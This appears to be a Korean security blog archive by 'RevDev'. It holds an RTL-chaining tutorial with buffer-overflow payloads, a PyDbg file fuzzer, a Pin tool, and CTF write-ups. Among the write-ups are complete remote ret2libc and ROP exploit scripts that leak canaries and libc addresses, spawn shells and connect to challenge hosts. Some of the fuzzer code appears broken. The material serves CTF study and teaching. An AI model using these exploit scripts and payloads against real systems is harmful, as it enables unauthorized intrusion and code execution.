RTL Chaning by RevDev


1. What is RTL Chaining?

RTL Chaining. 시스템 해킹의 세계에 발을 들여놓았다고 말할 수 있는 사람이라면 한번씩은 들어봤을 것이다. 실제로 RTL Chaining은 현재 쓰이고 있는 최신 해킹기법들의 기초이자 동시에 없어서는 안될 가장 중요한 개념이기도 하다. 이러한 RTL Chaining은 이름에서부터 알 수 있듯이 RTL(Return to Libc)기법에 기반을 두고 있으며, 어찌보면 RTL기법에서 파생되어 나온 것이라고도 할 수 있다. 물론 그렇게 볼 수도 있다. RTL이 사슬처럼 이어져서 함수가 계속해서 호출되는 것이 바로 RTL Chainig이니까. 하지만 지금은 RTL Chaining이 단순한 RTL의 일종이라고 하기에는 너무 중요도가 크기 때문에 따로 분류하는 경우가 많다. 그렇다면 이토록 중요한 RTL Chaining이란 정확히 무엇인가? 그것에 대해 다음 장에서 설명하도록 하겠다.


2.Mechanism of RTL Chaining

모두들 RTL이 무엇이다라는 것에 대하여서는 알고 있으리라 생각한다. Return To L:bc. 말 그대로 Libc내부 함수로 리턴하여 그 내부에서 새로운 함수 프롤로그를 실행하며 해당 함수를 수행하게 된다. 그렇다면 여기에 주의해서 생각해보자. 함수 프롤로그가 실행된다는 것은 함수 에필로그 또한 실행된다는 것이며, 그는 즉 RTL이후에도 RET를 통하여 프로그램의 수행을 변조할 수 있다는 것을 뜻한다. 실제로 RTL 공격 페이로드를 보며 확인해보도록 하자. 다음은 Buffer + Dummy 60Byte에 BOF취약점이 있는 프로그램에 대해 _system() Libc함수의 주소로 RET을 덮어씌운 RTL공격의 페이로드이다.

(python -c 'print "\x90"*64 + "\xd0\xcc\xe3\xf7" + "\x90"*4 + "\x5b\xe8\xf5\xf7"';cat)|./expme

우리는 이 페이로드를 통하여 페이로드 주입 이후 스택의 구조를 예측 할 수 있다. 그는 다음과 같을 것이다.

[          Args...        ][   RET    ][   SFP    ][   Variables...    ]
[  \xf7f5e85b ][\x90\x90..][\xf7e3ccd0][\x90\x90\x90\x90\x90\x90\x90...]

우리는 RTL에 대한 기반지식이 있으므로 RET의 주소로 점프 및 함수 프롤로그가 일어난 뒤의 스택 구조또한 생각할 수 있을 것이다. 여기서 주의 할 점은 RET에 넣은 주소의 함수를 호출하는 것이 아닌, 점프하여 그 ESP부터 다시 프롤로그를 수행하며 스택프레임을 만들어 나가는 것이다.

[ system Args ][   RET    ][   SFP    ][   SFP    ][   Variables...    ]
[  \xf7f5e85b ][\x90\x90..][\x90\x90..][\x90\x90\x90\x90\x90\x90\x90...]

즉, 함수 프롤로그가 끝난 후의 스택 구조는 위 그림과 같게 된다. 여기서 우리가 중요하게 살펴보아야 할 곳은 프롤로그 후의 SFP와 RET가 모드 \x90\x90\x90\x90으로 바뀌었다는 것이다. 왜 이렇게 되었을까. 다시 페이로드 주입 직후의 스택구조를 살펴보자. RET를 덮기위하여 원 함수의 SFP까지 NOP Sled로 가득 채웠다. 즉, 원 함수의 함수 에필로그가 실행 된 이후의 EBP값은 \x90\x90\x90\x90으로 바뀐다는 것이다. 여기서 우리가 덮어씌워준 RET인 Libc함수로 점프하게 되면서 ESP는 원래의 RET를 가리키게 되며, 이 상황에서 Libc함수의 프롤로그가 실행되면서 원래의 RET장소에 \x90\x90...으로 변조된 EBP가 저장되게 된다. 그렇다면 RET는 왜 \x90\x90\x90\x90을 가리키고 있는가? 이에 대한 것은 조금만 쉽게 생각하면 될 듯 하다. 변조된 EBP가 저장되어 두번째 SFP까지 만들어진 후의 ESP는 원 함수의 첫 번째 인자를 가리키고 있을 것이다. 이는 SFP+4의 위치로서 RET주소 부분에 해당된다. 즉, 원래 오버플로우를 통하여 입력해 준 RET+4부분이 새로이 호출(정확히 말하자면 JMP)된 Libc함수의 RET주소가 된다는 것이다.

그렇다면 최종적으로 뽑아낼 수 있는 결론은 무엇일까? 기존의 RTL페이로드에서 RET+4부분에 Dummy대신 다른 함수의 주소를 넣어 준다면 Libc함수가 실행된 뒤 그 함수를 수행하게 만들 수 있을것이다. 그리고 이를 계속해서 반복한다면 함수들이 꼬리에 꼬리를 물고 사슬처럼 호출(Chaining) 될 것이다.
이게 바로 RTL Chaining이다.


3. RTL Chaining Demo


간략한 문제를 직접 풀어보면서 RTL Chaining의 개념과 실사용 방법에 대하여 알아보도록 하겠다. 풀이환경은 모든 시스템해킹 기법이 통하는 FTZ Level11로 정하였다.


RTL을 하기 위해서는 가장 먼저 _system함수의 주소를 구하는 것이 최우선이다. 원래의 FTZ는 직접 디버깅이 불가능 하도록 되어있지만, 본인의 가상머신의 경우 모든 레벨의 권한을 777로 맞추어 놓아서 gdb가 붙는다. 만약 gdb가 붙지 않는다면 퍼미션을 777로 맞추던가, 아니면 복사본을 만들자. 하여튼가 gdb상에서 프로그램을 실행 시킨 뒤, _system Libc의 주소를 구해낸다. 여기서의 그 값은 0x4203f2c0이다.


그 다음으로는 BOF취약점을 공략하기 위하여 버퍼크기를 구하여야 한다. 이는 disas명령어를 통해 디스어셈블을 보면 알 수 있다. <main+3>을 보면은, sub $0x108, %esp로 버퍼의 크기가 264인 것을 알 수 있으며, 우리는 SFP까지 포함하여, 총 268Byte의 NOP Sled를 준비해야 한다는 것을 알 수 있다.


이제 _system의 주소를 통하여 /bin/sh의 주소를 구하도록 하자. 위의 코드는 memcmp를 통하여 /bin/sh문자열이 나올때까지 라이브러리 영역을 뒤지는 코드이다. 실제로 _system은 내부적으로 /bin/sh와 exec함수를 이용하여 간접적으로 명령을 실행시키기에 /bin/sh문자열이 존재할 수 밖에 없는데, 이 코드를 통하여 그 /bin/sh의 주소를 구할 수 있다.


마침내 페이로드가 완성되었다. NOP Sled로 Buffer+SFP 총 268Byte를 덮어준 뒤, 이어서 RET에 _system Libc의 주소인 0x0x4203f2c0를, Libc-RET에는 \x90\x90\x90\x90를 넣어준다. 그리고 마지막으로 _system의 인자로 들어갈 /bin/sh주소인 0x42127ea4를 추가한다.


예상대로 쉘을 획득하였다. 그러나 _system을 호출함으로서 얻은 쉘은, 종료될 때 _system의 RET이 NOP Sled인 \x90\x90...이므로 SIGSEGV를 뱉어내며 터진다. 이를 막을 수 있는 방법은 무엇일까?


간단하다. _system함수가 실행 된 뒤, 바로 이어서 프로그램을 종료시켜주는 _exit함수를 호출하자. 그러기 위해서는 _exit의 Libc주소가 필요하므로 다시 gdb를 실행시켜 구하도록 하자.

그렇게 얻은 _exit주소를 원래 페이로드에서 _system의 RET부분, 즉, 원함수의 RET바로 뒤에 붙여주면 쉘이 종료되어도(_system함수의 종료) 자연스럽게 _exit함수로 이어지며 프로그램이 종료되게 된다.
실제 상황에서의 RTL Chaining은 이것 외에도 훨씬 많은 응용을 할 수 있고, ROP(Return Oriented Programming)도 사실상 RTL의 일종이라 할 수 있을 만큼 RTL Chaining에 기반을 두고 있다. 직접 여러가지 문제를 풀면서 RTL Chaining을 응용해보자.


4. Pop-Ret Gadget

그러나 RTL Chaining의 자유로운 운용을 위해서는 Gadget이라는 것이 필요하다. 그 이유는 무엇일까. 바로 이전에 실행한 함수의 인자 때문이다. RTL 페이로드 주입 직후의 스택구조를 다시 보도록 하자.

[          Args...        ][   RET    ][   SFP    ][   Variables...    ]
[  \xf7f5e85b ][\xf7e3ceff][\xf7e3ccd0][\x90\x90\x90\x90\x90\x90\x90...]

약간 달라진 부분이라면 Libc-RET부분이 0xf7e3ceff라는 어떠한 함수의 주소로 바뀌었다는 것 정도. 그렇다면 여기서 첫번째 RTL이 실행되고 난 뒤를 예측해보자.

[ system Args ][   RET    ][   SFP    ][   SFP    ][   Variables...    ]
[  \xf7f5e85b ][\xf7e3ceff][\x90\x90..][\x90\x90\x90\x90\x90\x90\x90...]

이와 같을 것이다. 그렇게 이 Libc함수(_system)가 종료되고 에필로그가 수행되면 자연스럽게 RET위치에 있는 0xf7e3ceff함수가 이어서 실행될 것이다. 그런데 여기서 문제가 생기게 된다. 계속 진행해보자.

[     RET     ][   SFP    ][   SFP    ][   SFP    ][   Variables...    ]
[  \xf7f5e85b ][\x90\x90..][\x90\x90..][\x90\x90\x90\x90\x90\x90\x90...]

뭔가 이상하지 않는가. 첫번째 Libc함수의 Arg가 두번째 Libc함수의 RET부분이 되었다. 이렇게 되면 더 이상 Chaining이 불가능하다. 이로서 우리는 뭔가 조치가 필요하다는 것을 알 수 있다. 바로 이전에 수행되었던 함수의 인자들을 없애줄 수 있는 것을. 우리는 인자를 제거해줄 일련의 코드 조각들을 코드영역에서 추출할 수 있으며, 이를 Gadget이라고 부른다(물론 Gadget은 인자 제거만이 아닌 훨씬 큰 의미를 가진다. Gadget들이 충분하다면 우리는 코드영역, 혹은 라이브러리 영역에서 추출한 Gadget들만으로도 아예 새로운 프로그램을 만들 수 있다. 다만, RTL Chaining에서의 Gadget은 인자 제거를 맡게된다.). 그럼 이러한 상황에서 사용할 수 있는 Gadget은 뭘까. 스택에서 값을 제거할 수 있고, 동시에 원하는 스택 위치에서 RET을 해줄 수 있는 것. 바로 Pop과 Ret Opcode가 이어진 Gadget이 그 역할을 해줄 수 있을 것이다. 이러한 Pop-Ret Gadget은 수행한 Libc함수의 인자 개수에 따라 Ret앞에 붙는 Pop의 갯수가 달라지며 부르는 명칭또한 달라진다.
가령 예를들어 ‘Strcpy를 수행했다. 인자 두개를 썼다.’ 라고 한다면 인자 두 개를 없애주기위해 Ret앞에 Pop이 두 개 붙어있는 가젯을 써야 할 것이다. Pop이 두 개 붙은 Gadget은 Pop과 Ret의 앞글자를 따서 ppr Gadget이라 칭한다. 그렇다면 인자가 네 개인 Send와 같은 함수는? 당연히 ppppr Gadget이다.

그럼 다시 위 스택구조로 돌아가자. 이제는 알 수 있다. RET을 집어넣기 전에 _system의 인자 하나를 없애주기 위해 pr Gadget을 사용해야 한다. 그렇다면 어떤식으로 페이로드를 짜야할까? 만약 pr Gadget의 주소가 0x42037efb라고 한다면 Exploit직후의 스택구조는 다음과 같아야 할 것이다.

[                 Args...                ][   RET    ][   SFP    ][  Variables... ]
[  \xf7e3ceff ][  \xf7f5e85b ][\x42037efb][\xf7e3ccd0][\x90\x90\x90\x90\x90\x90...]

그럼 방금 번의 스택구조와 어떤부분에서 다른지 알아보자. 첫번째 Libc함수가 실행되었다고 하자. 그때의 스택구조는 다음과 같을 것이다.

[ Meaningless ][ system Args ][   RET    ][   SFP    ][   SFP    ][  Variables... ]
[  \xf7e3ceff ][  \xf7f5e85b ][\x42037efb][\x90\x90..][\x90\x90\x90\x90\x90\x90...]

여기까지는 딱히 다를게 없어보인다. 그러나 Libc-RET이 pr Gadget으로 바뀌면서 이 다음부터의 코드 수행은 크게 달라질 것이다. 그럼 pr Gadget을 실행시켰다고 하자.

[     RET     ][ POP(Erased) ][   SFP    ][   SFP    ][   SFP    ][  Variables... ]
[  \xf7e3ceff ][  \xf7f5e85b ][\x90\x90..][\x90\x90..][\x90\x90\x90\x90\x90\x90...]

보다시피 중간에 끼여있던 _system의 인자가 pr Gadget에 붙어있던 Pop에 의해 지워지고 RET이 정상적으로 다음에 수행해야 할 0xf7e3ceff함수를 가리키게 하였다. 이제 우리가 처음 의도한 대로 0xf7e3ceff함수를 호출할 수 있게 되었다. 야호.


5. So, this is RTL Chaining

위에서 보여주었듯이 계속해서 적절히 Gadget과 Libc함수를 조합하면 끝없이 Libc함수를 연쇄 호출하는 것 또한 가능하다. 사슬처럼 Libc함수가 이어지고 이어지는 것, 이것이 바로 진정한 RTL Chaining이다. 만약 당신이 진짜 해커라면 이렇게 자유롭게 함수를 호출 할 수 있는 RTL Chaining기법을 이용한 온갖 응용 공격법이 떠오를 것이다. 당신은 조금 더 자유롭게 해킹을 할 수 있게 되었고, 프로그램을 어떤식으로 공격할지 생각할 수 있는 선택지가 더 많아졌으며, 어떤식으로 공격 순서를 배열할 것인지 미리 설정할 수도 있게 되었다. 축하한다. 이제 바로 리눅스를 켜고 직접 원하는 함수들을 조립하고 조립해서 공격을 해보도록 하자. 거기서 좀 더 나아가서 ROP라는 가장 흥미로운 분야에 발을 디뎌보자. 그래, 이것이 바로 RTL Chaining이다.

Posted by RevDev
,


WhiteHat 2015 Junior Pre-Qual

-정신나간놈들 WriteUp-






WhiteHat 2015 Junior Pre-Qual WriteUp.pdf




Posted by RevDev
,

-Simple SWF Fuzzer (Python, PyDbg)-



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# -*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
import random
import threading
import os
import shutil
import time
import ctypes
 
class file_fuzzer:
    def __init__(self, exe_path):
        self.targetfile        = "original_file"
        self.copyfile        = "mutated_file"
        self.ext            = 'swf'
        self.mutate_key        = {}
        self.mutate_count        = 5000
        self.exe_path        = "target_path"
        self.iteration        = 0
        self.crash             = None
        self.pid            = None
        self.in_accessv_handler    = False
        self.dbg            = None
        self.running        = False
        self.ready            = False
        self.eip            = None
 
    def fuzz(self):
        while 1:
            if not self.running:
                self.iteration += 1
                try:
                    shutil.copy(self.targetfile, self.copyfile)
                    self.mutate_file()
                except:
                    pass
                
                pydbg_thread = threading.Thread(target=self.start_debugger)
                pydbg_thread.setDaemon(0)
                pydbg_thread.start()
                
                while self.pid == None:
                    time.sleep(1)
                
                    monitor_thread = threading.Thread(target=self.monitor_debugger)
                    monitor_thread.setDaemon(0)
                    monitor_thread.start()
                
                else:
                    time.sleep(1)
 
    def start_debugger(self):
        print "\n[ * ] Starting Debugger for iteration : %d" % self.iteration
        self.running = True
        self.dbg = pydbg()
        
        self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, self.check_accessv)
        
        pid = self.dbg.load(self.exe_path, self.copyfile)
        
        self.pid = self.dbg.pid
        self.dbg.run()
 
    def monitor_debugger(self):
        counter = 5
        print "[ * ] Monitor_thread for pid : %d" % self.pid
        
        while counter > 0:
            time.sleep(1)
            print  "Terminate Countdown : %d" % counter
            counter -=1
 
        if self.in_accessv_handler != True:
            time.sleep(1)
            self.dbg.terminate_process()
            self.pid        = None
            self.running    = False
        else:
            print "[ * ] The access violation handler is doing its business"
            
            while self.running:
                time.sleep(1)
 
    def check_accessv(self, dbg):
        print "\n[ * ] Handling an access violation!\n ",
        self.in_accessv_handler = True
        crash_bin = utils.crash_binning.crash_binning()
        self.crash = crash_bin.crash_synopsis()
 
        
        
        eipoff    = self.crash.find("EIP")
        eaxoff    = self.crash.find("EAX")
        self.eip    = self.crash[eipoff+5:eaxoff-3]
        eipname    = self.crash[eipoff+5:eaxoff+13]
        print "EIP = ",self.eip
        fd3 = open("D:\\fuzzing\\crashes.txt""a")
        fd3.write(self.eip)
        fd3.write("    iteration : %s    ext : %s\n" % (self.iteration,self.ext))
        
        
        crash_fd = open("D:\\fuzzing\\crashes\\crash-%s [ %d ].txt" % (eipname, self.iteration), "w+")
        crash_fd.write("=============== utils log ===============\n\n")
        crash_fd.write(self.crash)
        crash_fd.write("============ mutate_key log ============\n\n")
        crash_fd.write("%s " % self.mutate_key)
        crash_fd.write("\n\n END \n\n")
 
        
        shutil.copy(self.copyfile ,"D:\\fuzzing\\crashes\\crash-%s [ %d ].%s" % (eipname, self.iteration, self.ext))
        fd3.close()
        crash_fd.close()
        self.dbg.terminate_process()
        self.in_accessv_handler = False
        return DBG_EXCEPTION_NOT_HANDLED
 
    def mutate_file( self ):
        fd = open(self.copyfile, "rb")
        stream = fd.read()
        fd2 = open(self.copyfile, "wb")
        fd2.write(stream)
        stream_length = len(stream)
        attack_strs = [ "\x00""\x0d""\x0a""\xff"]
        
        for i in range(self.mutate_count):
            rand_offset = random.randint(0, stream_length - )
            self.mutate_key[rand_offset] = {hex(ord(stream[rand_offset:rand_offset+1] ) ) }
            attack_str = random.choice(attack_strs)
            fd2.seek(rand_offset)
            fd2.write(attack_str)
        fd.close()
        fd2.close()
        return
        
print "[ * ] Simple Fuzzer "
fuzzer = file_fuzzer(exe_path)
fuzzer.fuzz()
cs







Posted by RevDev
,


Codegate 2016 Junior Pre-Qual

-Revimal's WriteUp-





Codegate2016 Junior Pre-Qual WriteUp - Revimal.pdf


Posted by RevDev
,

SSA  - Pwnable Study 1st Pintool

-Opcodes and Immediate Operands Auto-Analysis -


※Special Thanks to KSHMK (Compile&Test)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include "pin.H"
 
FILE *fp;
unsigned char xorVal, cmpVal;
char chk = 0;
 
VOID Instruction(INS ins, VOID *v)
{
    ADDRINT addr = INS_Address(ins);
    if (addr >= 0x8048202 && addr <= 0x80a3778)
    {
        switch (INS_Opcode(ins)) {
        case XED_ICLASS_XOR:
            xorVal = (unsigned char)INS_OperandImmediate(ins, 1);
            chk = 1;
            break;
        case XED_ICLASS_CMP:
            cmpVal = (unsigned char)INS_OperandImmediate(ins, 1);
            if (chk) {
                chk = 0;
                fprintf(fp, "%c", (xorVal^cmpVal));
                break;
            }
            else {
                fprintf(fp, "%c", cmpVal);
                break;
            }
        }
        INS_Delete(ins);
    }
}
 
INT32 Usage()
{
    PIN_ERROR("This Pintool prints the IPs of every instruction executed\n"
        + KNOB_BASE::StringKnobSummary() + "\n");
    return -1;
}
VOID Start(THREADID threadIndex, CONTEXT *ctxt, INT32 flags, VOID *v)
{
    fp = fopen("flaaaag""w");
}
 
VOID Fini(THREADID threadIndex, const CONTEXT *ctxt, INT32 code, VOID *v)
{
    fclose(fp);
}
 
int main(int argc, char * argv[])
{
    if (PIN_Init(argc, argv)) return Usage();
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddThreadStartFunction(Start, 0);
    PIN_AddThreadFiniFunction(Fini, 0);
    PIN_StartProgram();
    return 0;
}
cs



Posted by RevDev
,

Layer 7 CTF 2015  - Pwnable 300

-Remote Return-to-Libc & SSP memory leaking-



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python
#-*-coding:utf-8-*-
 
import socket
import struct
import telnetlib
 
#Endian Translator
= lambda x : struct.pack("<L", x)
up = lambda x : struct.unpack("<L", x)[0]
 
#Addresses
system_plt = 0x08048610
freebss = 0x0804b0e0
addr_leak_pass = 0x0804b060
 
#Misc
payload = None
password = None
canary = None
 
 
print '''
[!] Layer 7 CTF 2015 Spil..Spli....SPPPPPIILL Exploit [!]
~ By RevDev
~ Python 2.7
~ Remote Exploit
'''
 
print "[!] Establishing Connection [!]"
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.192.51.122'8777))
print s
print ''
 
print "[!] Leaking Password [!]"
s.recv(1024)
payload = 'A'*129 + 'B'*156 + p(addr_leak_pass)
s.send(payload + '\n')
s.recv(1024)
password = s.recv(1024)
password = password[(password.index("***:"+ 5) : password.index(" terminated")]
password = password.split("\n")[0]
print "Password : %s\n" %password
s.close()
 
print "[!] Re-Establishing Connection [!]"
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.192.51.122'8777))
print s
print ''
 
print "[!] Leaking Stack Canary & Injecting \"/bin/sh\" [!]"
s.recv(1024)
s.send(password + '\n')
s.recv(1024)
s.recv(1024)
s.send('2' + '\n')
s.recv(1024)
s.recv(1024)
s.send('1' + '\n')
s.recv(1024)
s.recv(1024)
s.send('4' + '\n')
s.recv(1024)
s.send('A'*21 + '\n')
s.recv(1024)
s.send("/bin/sh;" + '\n')
s.recv(1024)
s.send("I_h4t3_fuck1n_c4n4ry" + '\n')
s.recv(1024)
canary = s.recv(1024)
canary = canary[(canary.find("AAA\n"+ 4) : canary.find("Wow")]
if(len(canary) < 4):
    canary = '\x00'*(4 - len(canary)) + canary
print "Canary : 0x"+canary.encode('hex')
print "\"/bin/sh\" Address : 0x%x\n" %freebss
 
print "[!] Sending Exploit [!]"
s.send('3' + '\n')
s.recv(1024)
payload = 'A'*217 + canary + 'A'*12 + p(system_plt) + 'A'*4 + p(freebss) + '\n'
s.send(payload)
s.recv(1024)
s.recv(1024)
s.send('0' + '\n')
s.recv(1024)
s.recv(1024)
s.send('1' + '\n')
s.recv(1024)
s.recv(1024)
print "Payload : %s\n" %payload
 
print "[!] Shell [!]"
= telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
cs
Posted by RevDev
,

Codegate 2014 Junior - Pwnable 300

-Remote Return Oriented Programming-



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python
#-*-coding:utf-8-*-
 
import socket
import struct
import time
 
#Endian Translator
= lambda x : struct.pack("<L", x)
up = lambda x : struct.unpack("<L", x)
 
#PLT_GOT Addresses
send_plt = 0x08048900
send_got = 0x804b07c
recv_plt = 0x080488e0
recv_got = 0x0804b074
 
#Libc Addresses
recv_addr = None
system_addr = None
 
#Gadget/F_Stack Addresses
start_routine  = 0x08048b5b
ppppr = 0x0804917c
data_addr = 0x0804b088
 
#Misc
offset_send_system = 0xfb0 #Ubuntu 15.04 Vivid
passcode = None
 
print '''
[!] Codegate 2014 Nuclear Exploit [!]
~ By RevDev
~ Python 2.7
~ Local Exploit
'''
 
print "[!] Establishing Connection [!]"
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1'1129))
print s
print ''
 
print "[!] Getting Passcode [!]"
 
s.recv(1024)
s.send("target\n")
s.recv(1024)
s.send("1.1/1.1\n")
s.recv(1024)
s.send("A"*512+"\n")
s.recv(1024)
passcode = s.recv(1024)
passcode = passcode[passcode.index('?', passcode.index('?')+1)+1:]
passcode = passcode.split("\n")[0]
print "Passcode : %s\n" %passcode
 
print "[!] Leaking Libc Function Address [!]"
s.send("launch\n")
s.recv(1024)
time.sleep(0.3)
s.send(passcode+"\n")
time.sleep(0.3)
s.recv(1024)
payload = "A"*528 + p(send_plt) + p(ppppr) + p(4+ p(send_got) + p(4+ p(0+ p(start_routine) + "\x90"*4 + p(4)
s.send(payload + "\n")
send_addr = up(s.recv(1024))
system_addr = int(send_addr[0]) + offset_send_system
print "_Send Address : 0x%x" %send_addr
print "_System Address : 0x%x\n" %system_addr
 
print "[!] Sending Exploit [!]"
payload = "A"*528 + p(recv_plt) + p(ppppr) + p(4+ p(data_addr) + p(13+ p(0+ p(system_addr) + "\x90"*4 + p (data_addr)
s.send(payload + "\n")
s.recv(1024)
s.send("cat key >&4\n"+"\x00")
s.recv(1024)
print "Flag : %s" %s.recv(1024)
s.close()
cs


Posted by RevDev
,

Inc0gnito CTF 2015 Write-Up | By RevDev

Reversing - Reversing [150pt]


1. Ready to Solve
Problem
CTF website Closed :(


Used Tools
IDA Pro 6.6 With HexRay



2. Solve

너무나도 허탈한 문제라 별도의 풀이를 올리지 않고, 사진 2장과 간단한 상황 설명으로 대신하겠다.

Proximity View로 보면은 대략 위와 같은 모양이 나온다. 리버싱의 가장 기본 단계인 main을 살펴보자. 굳이 HexRay가 있는데 핸드레이를 할 필요가 없다. F5를 눌러주자.

다음과 같은 코드가 나온다. 그런데 코드를 잘 보면 sub_401000이라는 의심스러운 함수가 보인다. 해당 함수에 들어가면 Auth Key(…)가 무려 평문(…)으로 저장 되어있다.



3. Flag

Posted by RevDev
,

Inc0gnito CTF 2015 Write-Up | By RevDev

Reversing - Anti Hexray [100pt]


1. Ready to Solve
Problem
Find the key
ssh anti_hexray@ssh.inc0gnito.com anti_hexray
anti_hexray_c878be02ae603ac59c793d58d06cc54489ff8251 


Used Tools
GNU bash (version 4.3.11)
IDA Pro 6.6 With HexRay



2. Gathering Informations
File List
anti_hexray@incognito1:~$ ls -al
total 36
drwx--xr-x  4 root root             4096 Aug 23 04:10 .
drwxr-x--x 13 root root             4096 Aug 22 09:14 ..
-rwxr-sr-x  1 root anti_hexray_root 8228 Aug 23 04:07 anti_hexray
----------  1 root root                0 Aug 23 04:10 .bash_history
drwx------  2 root root             4096 Aug 23 04:01 .cache
-r--r-----  1 root anti_hexray_root   18 Aug 23 04:07 flag
drwx------  2 root root             4096 Aug 23 03:54 .ssh
-rw-------  1 root root             1782 Aug 23 04:03 .viminfo


Disassembled Code
Dump of assembler code for function main:
0x000000000040073c <+0>:    push   rbp
0x000000000040073d <+1>:    mov    rbp,rsp
0x0000000000400740 <+4>:    sub    rsp,0xb0
0x0000000000400747 <+11>:    mov    DWORD PTR [rbp-0xa4],edi
0x000000000040074d <+17>:    mov    QWORD PTR [rbp-0xb0],rsi
0x0000000000400754 <+24>:    mov    rax,QWORD PTR fs:0x28
0x000000000040075d <+33>:    mov    QWORD PTR [rbp-0x8],rax
0x0000000000400761 <+37>:    xor    eax,eax
0x0000000000400763 <+39>:    mov    QWORD PTR [rbp-0x90],0x40099c
0x000000000040076e <+50>:    mov    QWORD PTR [rbp-0x88],0x4009ab
0x0000000000400779 <+61>:    mov    QWORD PTR [rbp-0x80],0x4009b4
0x0000000000400781 <+69>:    mov    QWORD PTR [rbp-0x78],0x4009bd
0x0000000000400789 <+77>:    mov    QWORD PTR [rbp-0x70],0x4009c6
0x0000000000400791 <+85>:    mov    QWORD PTR [rbp-0x68],0x4009cf
0x0000000000400799 <+93>:    mov    QWORD PTR [rbp-0x60],0x4009d8
0x00000000004007a1 <+101>:    mov    QWORD PTR [rbp-0x58],0x4009e1
0x00000000004007a9 <+109>:    mov    QWORD PTR [rbp-0x50],0x4009ea
0x00000000004007b1 <+117>:    mov    QWORD PTR [rbp-0x48],0x4009f3
0x00000000004007b9 <+125>:    mov    QWORD PTR [rbp-0x40],0x4009fc
0x00000000004007c1 <+133>:    mov    QWORD PTR [rbp-0x38],0x400a05
0x00000000004007c9 <+141>:    mov    DWORD PTR [rbp-0x9c],0xbb8
0x00000000004007d3 <+151>:    mov    DWORD PTR [rbp-0x98],0x1388
0x00000000004007dd <+161>:    push   rsp
0x00000000004007de <+162>:    mov    r15,rsp
0x00000000004007e1 <+165>:    xor    rsp,rsp
0x00000000004007e4 <+168>:    mov    rsp,r15
0x00000000004007e7 <+171>:    lea    rax,[rbp-0x30]
0x00000000004007eb <+175>:    mov    edx,0x20
0x00000000004007f0 <+180>:    mov    esi,0x0
0x00000000004007f5 <+185>:    mov    rdi,rax
0x00000000004007f8 <+188>:    call   0x4005c0 <memset@plt>
0x00000000004007fd <+193>:    mov    DWORD PTR [rbp-0xa0],0x0
0x0000000000400807 <+203>:    jmp    0x40081c <main+224>
0x0000000000400809 <+205>:    mov    eax,DWORD PTR [rbp-0x9c]
0x000000000040080f <+211>:    add    DWORD PTR [rbp-0xa0],eax
0x0000000000400815 <+217>:    add    DWORD PTR [rbp-0xa0],0x1
0x000000000040081c <+224>:    mov    eax,DWORD PTR [rbp-0xa0]
0x0000000000400822 <+230>:    cmp    eax,DWORD PTR [rbp-0x9c]
0x0000000000400828 <+236>:    jb     0x400809 <main+205>
0x000000000040082a <+238>:    mov    esi,0x800
0x000000000040082f <+243>:    mov    edi,0x400a0e
0x0000000000400834 <+248>:    mov    eax,0x0
0x0000000000400839 <+253>:    call   0x400610 <open@plt>
0x000000000040083e <+258>:    mov    DWORD PTR [rbp-0x94],eax
0x0000000000400844 <+264>:    xor    rsp,rsp
0x0000000000400847 <+267>:    mov    rsp,r15
0x000000000040084a <+270>:    mov    eax,DWORD PTR [rbp-0x94]
0x0000000000400850 <+276>:    lea    rcx,[rbp-0x30]
0x0000000000400854 <+280>:    mov    edx,0x20
0x0000000000400859 <+285>:    mov    rsi,rcx
0x000000000040085c <+288>:    mov    edi,eax
0x000000000040085e <+290>:    call   0x4005e0 <read@plt>
0x0000000000400863 <+295>:    push   rsp
0x0000000000400864 <+296>:    mov    rax,QWORD PTR [rbp-0xb0]
0x000000000040086b <+303>:    add    rax,0x8
0x000000000040086f <+307>:    mov    rax,QWORD PTR [rax]
0x0000000000400872 <+310>:    mov    rdi,rax
0x0000000000400875 <+313>:    call   0x4005a0 <strlen@plt>
0x000000000040087a <+318>:    mov    rdx,rax
0x000000000040087d <+321>:    mov    rax,QWORD PTR [rbp-0xb0]
0x0000000000400884 <+328>:    add    rax,0x8
0x0000000000400888 <+332>:    mov    rcx,QWORD PTR [rax]
0x000000000040088b <+335>:    lea    rax,[rbp-0x30]
0x000000000040088f <+339>:    mov    rsi,rcx
0x0000000000400892 <+342>:    mov    rdi,rax
0x0000000000400895 <+345>:    call   0x400600 <memcmp@plt>
0x000000000040089a <+350>:    mov    DWORD PTR [rbp-0x9c],eax
0x00000000004008a0 <+356>:    cmp    DWORD PTR [rbp-0x9c],0x0
0x00000000004008a7 <+363>:    je     0x4008c0 <main+388>
0x00000000004008a9 <+365>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008af <+371>:    mov    edi,eax
0x00000000004008b1 <+373>:    call   0x4005d0 <close@plt>
